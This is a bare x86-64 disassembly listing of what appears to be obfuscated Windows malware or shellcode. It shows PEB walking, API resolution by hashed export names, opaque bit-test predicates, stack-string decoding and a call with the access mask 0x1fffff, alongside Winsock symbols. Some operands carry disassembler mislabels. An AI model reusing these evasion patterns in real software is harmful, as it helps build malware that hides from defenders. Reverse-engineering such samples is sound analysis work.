mov r9d, dword [rcx + r14]
add r9, r11
mov r10d, 0x3607822a
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x140225efe
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x140225a83
cmp r10d, 0xf04595ec
jne 0x140225efe
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + rbx*2]
mov ecx, dword [rcx + rax*4]
add rcx, r11
call rcx
mov r8d, eax
cmp eax, 0x3b4f7080
je 0x140225b36
lea ecx, [rax + 0x7442ee57]
cmp ecx, 0x5f8cc9e8
jbe 0x140225b36
mov edx, 0x7ede1c80
mov cl, Ordinal_30
mov eax, edx
shr eax, cl
test al, 1
je 0x140225b06
mov cl, 2
inc cl
mov eax, edx
shr eax, cl
test al, 1
jne 0x140225b36
mov cl, 2
mov eax, edx
shr eax, cl
test al, 1
jne 0x140225b36
add cl, cl
mov eax, edx
shr eax, cl
test al, 1
jne 0x140225b36
mov cl, 9
mov eax, edx
shr eax, cl
test al, 1
jne 0x140225b36
mov cl, ntohs
shr edx, cl
test dl, 1
jne 0x140225b36
test r8d, r8d
jne 0x1402260a5
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140225ef6
mov ebx, dword [rdi + 0x18]
test ebx, ebx
je 0x140225ef6
mov r14d, dword [rdi + 0x20]
nop dword [rax + rax]
dec ebx
lea rcx, [r11 + rbx*4]
mov r9d, dword [rcx + r14]
add r9, r11
mov r10d, 0x9162e6de
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x140225eee
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x140225ba3
cmp r10d, 0xa3507cf3
jne 0x140225eee
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + rbx*2]
mov r9d, dword [rcx + rax*4]
add r9, r11
xor edx, edx
mov ecx, 0x1fffff
mov r8d, 0x6387a612
call r9
mov r14, rax
mov edx, 0x5bf9afa1
mov cl, reloc.WLDAP32.dll_Ordinal_30
mov eax, edx
shr eax, cl
test al, 1
je 0x140225c20
mov cl, 2
inc cl
mov eax, edx
shr eax, cl
test al, 1
jne 0x140225c4b
mov cl, 2
mov eax, edx
shr eax, cl
test al, 1
jne 0x140225c4b
add cl, cl
mov eax, edx
shr eax, cl
test al, 1
jne 0x140225c4b
mov cl, 9
mov eax, edx
shr eax, cl
test al, 1
jne 0x140225c4b
mov cl, listen
shr edx, cl
test dl, 1
je 0x140225d21
test r14, r14
je 0x140225d21
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140225d19
mov ebx, dword [rdi + 0x18]
test ebx, ebx
je 0x140225d19
mov r15d, dword [rdi + 0x20]
nop dword [rax + rax]
dec ebx
lea rcx, [r11 + rbx*4]
mov r9d, dword [rcx + r15]
add r9, r11
mov r10d, 0x58e8aec6
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x140225d15
nop
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x140225cc0
cmp r10d, 0xf311a19c
jne 0x140225d15
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + rbx*2]
mov edx, dword [rcx + rax*4]
add rdx, r11
mov rcx, r14
call rdx
nop
jmp 0x1402260a5
test ebx, ebx
jne 0x140225ca0
mov rax, qword [rax]
jmp 0x140225c70
mov edx, 0xaea8948a
mov cl, 0x18
mov eax, edx
shr eax, cl
test al, 1
je 0x140225d3c
mov cl, 2
inc cl
mov eax, edx
shr eax, cl
test al, 1
jne 0x140225d63
mov cl, 2
mov eax, edx
shr eax, cl
test al, 1
jne 0x140225d63
add cl, cl
mov eax, edx
shr eax, cl
test al, 1
jne 0x140225d63
mov cl, 9
mov eax, edx
shr eax, cl
test al, 1
jne 0x140225d63
mov cl, reloc.WS2_32.dll_select
shr edx, cl
test dl, 1
je 0x140225d10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140225ee6
mov ebx, dword [rdi + 0x18]
test ebx, ebx
je 0x140225ee6
mov r15d, dword [rdi + 0x20]
nop dword [rax + rax]
dec ebx
lea rcx, [r11 + rbx*4]
mov r9d, dword [rcx + r15]
add r9, r11
mov r10d, 0xf0e44d0
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x140225ede
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x140225dd3
cmp r10d, 0x7c61c1d8
jne 0x140225ede
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + rbx*2]
mov r8d, dword [rcx + rax*4]
add r8, r11
mov edx, dword [0x140345cdc]
mov ecx, dword [0x140345cd8]
call r8
cmp word [0x140345d7e], 0
jne 0x140225d10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140225ece
mov ebx, dword [rdi + 0x18]
test ebx, ebx
je 0x140225ece
mov r15d, dword [rdi + 0x20]
dec ebx
lea rcx, [r11 + rbx*4]
mov r9d, dword [rcx + r15]
add r9, r11
mov r10d, 0x4e819047
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x140225eca
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x140225e92
cmp r10d, 0x3dace95b
je 0x140225cf4
test ebx, ebx
jne 0x140225e73
mov rax, qword [rax]
jmp 0x140225e50
test ebx, ebx
jne 0x140225db0
mov rax, qword [rax]
jmp 0x140225d80
test ebx, ebx
jne 0x140225b80
mov rax, qword [rax]
jmp 0x140225b50
test ebx, ebx
jne 0x140225a60
mov rax, qword [rax]
jmp 0x140225a30
movdqa xmm0, xmmword [0x140327400]
movdqu xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x35], 0x868604
mov word [rsp + 0x39], 0x305
mov byte [rsp + 0x3b], 0x7c
mov byte [rsp + 0x34], 0
xor r13d, r13d
mov r10d, r13d
lea r9, [rsp + 0x2f]
nop dword [rax + rax]
lea edx, [r10 + r10*2]
movzx ecx, byte [rsp + rdx + 0x20]
mov byte [r9], cl
movzx eax, r10b
add al, al
lea r11d, [rax + r10]
movzx ebx, r11b
add bl, byte [rsp + 0x37]
xor bl, cl
mov byte [r9], bl
xor r8b, r8b
lea eax, [rdx + 1]
movzx edx, byte [rsp + rax + 0x20]
nop
movzx eax, dl
movzx ecx, r8b
sar al, cl
test al, 1
jne 0x140225f98
inc r8b
cmp r8b, 4
jne 0x140225f80
jmp 0x140225fa6
movsx ecx, bl
movzx eax, byte [rsp + 0x3a]
btc ecx, eax
mov byte [r9], cl
mov dl, 5
lea eax, [r10 + 1]
lea eax, [r10 + rax*2]
movzx r8d, byte [rsp + rax + 0x20]
nop word [rax + rax]
movzx eax, r8b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x140225fd6
inc dl
cmp dl, 8
jne 0x140225fc0
jmp 0x140225fe5
movsx ecx, byte [r9]
movzx eax, byte [rsp + 0x39]
btc ecx, eax
mov byte [r9], cl
xor dl, dl
lea eax, [r10 + 1]
lea eax, [r10 + rax*2]
movzx r8d, byte [rsp + rax + 0x20]
nop word [rax + rax]
movzx eax, r8b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x140226016
inc dl
cmp dl, 5
jne 0x140226000
jmp 0x140226025
movsx ecx, byte [r9]
movzx eax, byte [rsp + 0x38]
btc ecx, eax
mov byte [r9], cl
add r11b, byte [rsp + 0x36]
xor byte [r9], r11b
inc r10d
inc r9
cmp r10d, 5
jne 0x140225f50
mov eax, 0xcccccccd
mul r12d
shr edx, 2
lea eax, [rdx + rdx*4]
mov ecx, r12d
sub ecx, eax
cmp byte [rsp + rcx + 0x2f], 0x10
jne 0x1402260a5
mov edx, 0xd814d3bb
mov cl, reloc.WLDAP32.dll_Ordinal_26
mov eax, edx
shr eax, cl
test al, 1
je 0x140226072
xor cl, cl
inc cl
mov eax, edx
shr eax, cl
test al, 1
jne 0x14022609a
xor ecx, ecx
mov eax, edx
shr eax, cl
test al, 1
jne 0x14022609a
add cl, 2
mov eax, edx
shr eax, cl
test al, 1
jne 0x14022609a
mov cl, 9
mov eax, edx
shr eax, cl
test al, 1
jne 0x14022609a
mov cl, 0xb
shr edx, cl
test dl, 1
je 0x1402260a5
add r12d, 0xfffffff9
mov dword [0x140348ac8], r12d
mov dword [rsp + 0x20], 0x10030
mov dword [rsp + 0x24], 0x3e30010
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x2c], 0x103b8
mov dword [rsp + 0x30], 0x7f0010
mov dword [rsp + 0x34], 1
mov dword [rsp + 0x38], reloc.WLDAP32.dll_Ordinal_50
mov qword [rsp + 0x3c], reloc.WS2_32.dll_recv
mov dword [rsp + 0x44], 0
mov dword [rsp + 0x48], 0xa47c0000
mov dword [rsp + 0x4c], 0x30500a4
mov word [rsp + 0x50], 4
lea r10, [rsp + 0x3e]
nop word [rax + rax]
lea edx, [r13*2]
add edx, r13d
movzx ecx, word [rsp + rdx*2 + 0x20]
mov word [r10], cx
movzx eax, r13w
add ax, ax
lea r11d, [rax + r13]
movzx r9d, byte [rsp + 0x4c]
add r9w, r11w
xor r9w, cx
mov word [r10], r9w
xor r8b, r8b
lea eax, [rdx + 1]
movzx edx, word [rsp + rax*2 + 0x20]
nop dword [rax]
movzx ecx, r8b
movzx eax, dx
shr ax, cl
test al, 1
jne 0x140226169
inc r8b
cmp r8b, 4
jne 0x140226150
jmp 0x14022617a
movzx r9d, r9w
movzx eax, byte [rsp + 0x4f]
btc r9d, eax
mov word [r10], r9w
mov dl, 5
lea eax, [r13*2 + 2]
add eax, r13d
movzx r8d, word [rsp + rax*2 + 0x20]
nop dword [rax]
movzx ecx, dl
movzx eax, r8w
shr ax, cl
test al, 1
jne 0x1402261a7
inc dl
cmp dl, 8
jne 0x140226190
jmp 0x1402261bb
movzx ecx, r9w
movzx eax, byte [rsp + 0x4e]
btc ecx, eax
movzx r9d, cx
mov word [r10], cx
xor dl, dl
lea eax, [r13*2 + 2]
add eax, r13d
movzx r8d, word [rsp + rax*2 + 0x20]
nop
movzx ecx, dl
movzx eax, r8w
shr ax, cl
test al, 1
jne 0x1402261e7
inc dl
cmp dl, 5
jne 0x1402261d0
jmp 0x1402261fb
movzx ecx, r9w
movzx eax, byte [rsp + 0x4d]
btc ecx, eax
movzx r9d, cx
mov word [r10], cx
movzx eax, byte [rsp + 0x4b]
add ax, r11w
xor ax, r9w
mov word [r10], ax
inc r13d
add r10, 2
cmp r13d, 5
jne 0x140226110
cmp word [rsp + 0x3e], 1
jne 0x140226274
mov edx, 0xf9ec9884
mov cl, Ordinal_30
mov eax, edx
shr eax, cl
test al, 1
je 0x140226240
mov cl, 3
inc cl
mov eax, edx
shr eax, cl
test al, 1
jne 0x140226268
mov cl, 3
mov eax, edx
shr eax, cl
test al, 1
jne 0x140226268
add cl, 2
mov eax, edx
shr eax, cl
test al, 1
jne 0x140226268
mov cl, 9
mov eax, edx
shr eax, cl
test al, 1
jne 0x140226268
mov cl, reloc.WS2_32.dll_sendto
shr edx, cl
test dl, 1
je 0x140226274
call fcn.14026edbb
mov byte [0x1403489df], 0xa5
lea r11, [rsp + 0x120]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret